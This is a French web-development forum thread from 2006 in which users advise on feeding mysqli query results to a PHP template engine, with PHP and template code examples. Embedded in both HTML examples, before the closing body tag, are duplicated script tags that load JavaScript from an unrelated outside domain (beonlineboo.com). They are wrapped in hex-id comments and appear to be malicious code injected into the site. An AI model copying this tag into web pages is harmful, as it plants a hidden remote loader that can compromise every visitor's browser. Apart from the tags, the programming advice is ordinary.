Page :
1
Metzgermeister
42.
dimanche
12 février 2006 à 18:22
12 février 2006 à 18:22
Merci pour votre aide intelligente.
dimanche
12 février 2006 à 20:25
12 février 2006 à 20:25
Quand tu parles d'objet MySQL, tu parles de la ressource renvoyée par mysql_query ?
Je ne pense pas que ce soit une bonne idée.
Dans ton code, il vaut mieux que l'utilisateur crée un tableau de tableaux associatifs créé par la requête qu'il transmet ensuite à ton template.
C'est beaucoup plus facile à manipuler et l'utilisateur de tes templates pourra formater ses données pour l'affichage s'il le souhaite.
Dernière modification le 12/02/06 à 20:41 par SimOOn
dimanche
12 février 2006 à 20:40
12 février 2006 à 20:40
SimOOn a écrit
Quand tu parles d'objet MySQL, tu parles de la ressource renvoyée par mysql_query ?
Je ne pense pas que ce soit une bonne idée.
Dans ton code, il vaut mieux que l'utilisateur crée un tableau de tableaux associatifs créé par la requête qu'il transmet ensuite à ton template.
C'est beaucoup plus facile à manipuler et l'utilisateur de tes templates pourra formater ses données pour l'affichage s'il le souhaite.
En fait, je parlais du nom de la variable qui sera une instance de mysqli . Donc tu pense que l'utilisation d'une balise qui "parle" avec MySQL n'est pas une bonne idée, et qu'il vaut mieux le laisser donner les données directement à mon script ?
lundi
13 février 2006 à 12:40
13 février 2006 à 12:40
Metzgermeister a écritRien que pour des raisons de sécurité, je trouve ça un peu chaud de laisser l'accès à l'instance de mysqli, pour un système de template laisser la main complète à l'utilisateur c'est limite. Comme l'a dit SimOOn le mieux c'est d'utiliser un tableau associatif, voir d'utiliser le pointeur de résultats que te retourne la fonction $mysqli->query.
En fait, je parlais du nom de la variable qui sera une instance de mysqli . Donc tu pense que l'utilisation d'une balise qui "parle" avec MySQL n'est pas une bonne idée, et qu'il vaut mieux le laisser donner les données directement à mon script ?
lundi
13 février 2006 à 14:19
13 février 2006 à 14:19
Oui... pourrais-tu m'expliquer cette démarche ? :D
lundi
13 février 2006 à 15:45
13 février 2006 à 15:45
Metzgermeister a écrit
Oui... pourrais-tu m'expliquer cette démarche ? :D
Comme je ne connais pas ton G-Template et que je n'utilise pas mysqli pour le moment, je le fais un peu à l'aveugle :
- Méthode avec des tableaux :
//On charge toutes les données dans un tableau pour les passer au système de templates
$array = array();
$mysqli = new mysqli('mon_serveur','mon_utilisateur','mon_passe','ma_base'); //Connexion à la base
$result = $mysqli->query("SELECT mes,champs,a,moi FROM ma_table WHERE truc='machin'"); //Execution de la requête
while($value = $result->fetch_assoc()){
$array[] = $value;
}
$result->close();
Tu te retrouves donc avec ton tableau $array qui contient toutes les données recherchées.
Dans ton G-template, si tu as le moyen de faire une boucle foreach et de consulter des tableaux dans le style {tableau['index']}, on peut imaginer d'utiliser les données comme ça :
<html>
<body>
{foreach array as value}
{value['mes']} - {value['champs']} - {value['a']} - {value['moi']}<br />
{endforeach}
<!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>
J'éditerai plus tard pour la méthode utilisant le pointeur directement
- La méthode avec le pointeur de résultats :
$mysqli = new mysqli('mon_serveur','mon_utilisateur','mon_passe','ma_base'); //Connexion à la base
$result = $mysqli->query("SELECT mes,champs,a,moi FROM ma_table WHERE truc='machin'"); //Execution de la requête
Cette fois, il faut utiliser les méthodes disponibles sur l'objet $result donc dans le sytème de template, quelquechose comme ça :
<html>
<body>
{while value = result->fetch_assow()}
{value['mes']} - {value['champs']} - {value['a']} - {value['moi']}<br />
{endwhile}
<!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>
Bon c'est pas tout mais je vais aller farmer sous Silkroad maintenant.
Dernière modification le 13/02/06 à 19:13 par elbistro
lundi
13 février 2006 à 17:11
13 février 2006 à 17:11
OK, j'ai compris.
Merci, je vais tester de ce pas cette méthode ;)
lundi
13 février 2006 à 19:02
13 février 2006 à 19:02
Page :
1
Répondre au sujet
Vous devez être identifié pour participer à ce topic.